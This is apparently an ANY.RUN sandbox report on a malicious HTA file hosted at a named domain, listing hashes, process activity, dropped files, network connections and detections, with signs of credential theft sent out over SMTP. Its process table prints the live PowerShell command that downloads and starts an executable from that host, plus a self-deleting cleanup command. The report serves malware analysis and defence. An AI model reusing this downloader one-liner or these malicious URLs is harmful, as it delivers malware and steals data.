analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
URL:

https://www.beautymakeup.ca/vbss.hta

Full analysis: https://app.any.run/tasks/d4dda2c9-e337-4347-b6fd-e69fbe2e80da
Verdict: Malicious activity
Analysis date: January 17, 2019, 22:18:27
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MD5:

3236797FC2FA4BA7241152E080DB7979

SHA1:

2FE3C51F409506B8BF527F5C73E60FF76F7ECE8B

SHA256:

E739DF6C5460EBA07C49CEBC15CBCEA5F00C26082869BD4A11C10B14C36BA5B5

SSDEEP:

3:N8DSLgkIEOAuGjLR5in:2OLgyvJjLR5i

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • tests.exe (PID: 684)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2552)

    • Application was dropped or rewritten from another process

      • tests.exe (PID: 684)

    • Actions looks like stealing of personal data

      • RegAsm.exe (PID: 3364)

  • SUSPICIOUS

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • iexplore.exe (PID: 2840)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 3248)
      • tests.exe (PID: 684)

    • Creates files in the user directory

      • powershell.exe (PID: 3428)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3428)
      • tests.exe (PID: 684)

    • Connects to SMTP port

      • RegAsm.exe (PID: 3364)

    • Loads DLL from Mozilla Firefox

      • RegAsm.exe (PID: 3364)

  • INFO

    • Creates files in the user directory

      • iexplore.exe (PID: 2840)
      • iexplore.exe (PID: 3156)

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 3156)
      • iexplore.exe (PID: 2840)

    • Application launched itself

      • iexplore.exe (PID: 2840)

    • Changes internet zones settings

      • iexplore.exe (PID: 2840)

    • Reads internet explorer settings

      • iexplore.exe (PID: 3156)
      • mshta.exe (PID: 3248)

    • Reads settings of System Certificates

      • iexplore.exe (PID: 2840)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
9
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start iexplore.exe iexplore.exe mshta.exe no specs cmd.exe no specs powershell.exe tests.exe regasm.exe cmd.exe no specs ping.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2840"C:\Program Files\Internet Explorer\iexplore.exe" -nohomeC:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3156"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2840 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3248"C:\Windows\System32\mshta.exe" "C:\Users\admin\Downloads\vbss.hta" C:\Windows\System32\mshta.exe—iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2552"C:\Windows\System32\cmd.exe" /c powershell (new-object System.Net.WebClienT).DownloadFile('http://www.beautymakeup.ca/cted.exe','%temp%\tests.exe'); Start '%temp%\tests.exe'C:\Windows\System32\cmd.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3428powershell (new-object System.Net.WebClienT).DownloadFile('http://www.beautymakeup.ca/cted.exe','C:\Users\admin\AppData\Local\Temp\tests.exe'); Start 'C:\Users\admin\AppData\Local\Temp\tests.exe'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
684"C:\Users\admin\AppData\Local\Temp\tests.exe" C:\Users\admin\AppData\Local\Temp\tests.exe
powershell.exe
User:
admin
Company:
netbtugc
Integrity Level:
MEDIUM
Description:
lpksetup
Exit code:
0
Version:
605.656.876.497
3364"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
tests.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Version:
2.0.50727.5420 (Win7SP1.050727-5400)
3164"C:\Windows\system32\cmd.exe" /k ping 127.0.0.1 -t 0 & del C:\Users\admin\AppData\Local\Temp\tests.exe & exit C:\Windows\system32\cmd.exe—tests.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2128ping 127.0.0.1 -t 0 C:\Windows\system32\PING.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 752
Read events
1 543
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
3
Text files
7
Unknown types
4

Dropped files

PID
Process
Filename
Type
2840iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico —
MD5:—
SHA256:—
2840iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico —
MD5:—
SHA256:—
2840iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF72EF80931052CF1E.TMP —
MD5:—
SHA256:—
3428powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AVZA8LX4FLMZ61KO60CU.temp —
MD5:—
SHA256:—
2840iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF897D1C7113E4B4D5.TMP —
MD5:—
SHA256:—
2840iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{E0B8115D-1AA5-11E9-BAD8-5254004A04AF}.dat —
MD5:—
SHA256:—
2840iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{E0B8115E-1AA5-11E9-BAD8-5254004A04AF}.datbinary
MD5:3D3EEE34CBD5EA8620A672A3F41E2ABD
SHA256:32BD7195D1DE71FBD597A407EFB87CA8F5E280624E249CD24B98326E81E3E018
3428powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1a1d9b.TMPbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
3156iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\vbss[1].htahtml
MD5:724AAB5F0DE56E93FE8990F00A4E6095
SHA256:EDC2EA9836015D5C78E552E16C19A8B7004AFBD49F348CBB4424F759B05AD7A4
2840iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012019011720190118\index.datdat
MD5:A4F806566EE18685619CFF7A379BB415
SHA256:C104C2C4D7C3C569A438DC4367A147C26535D65CC76ECCCEC9C22C189D0EF907
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
5
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3428
powershell.exe
GET
301
104.28.18.55:80
http://www.beautymakeup.ca/cted.exe
US
html
178 b
malicious
2840
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2840
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
3428
powershell.exe
104.28.18.55:80
www.beautymakeup.ca
Cloudflare Inc
US
shared
3156
iexplore.exe
104.28.18.55:443
www.beautymakeup.ca
Cloudflare Inc
US
shared
3428
powershell.exe
104.28.18.55:443
www.beautymakeup.ca
Cloudflare Inc
US
shared
3364
RegAsm.exe
195.14.130.172:587
mail-out.cytanet.com.cy
Cyprus Telecommunications Authority
CY
unknown

DNS requests

Domain
IP
Reputation
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
www.beautymakeup.ca
  • 104.28.18.55
  • 104.28.19.55
malicious
mail-out.cytanet.com.cy
  • 195.14.130.172
unknown

Threats

PID
Process
Class
Message
3428
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
https://www.beautymakeup.ca/vbss.hta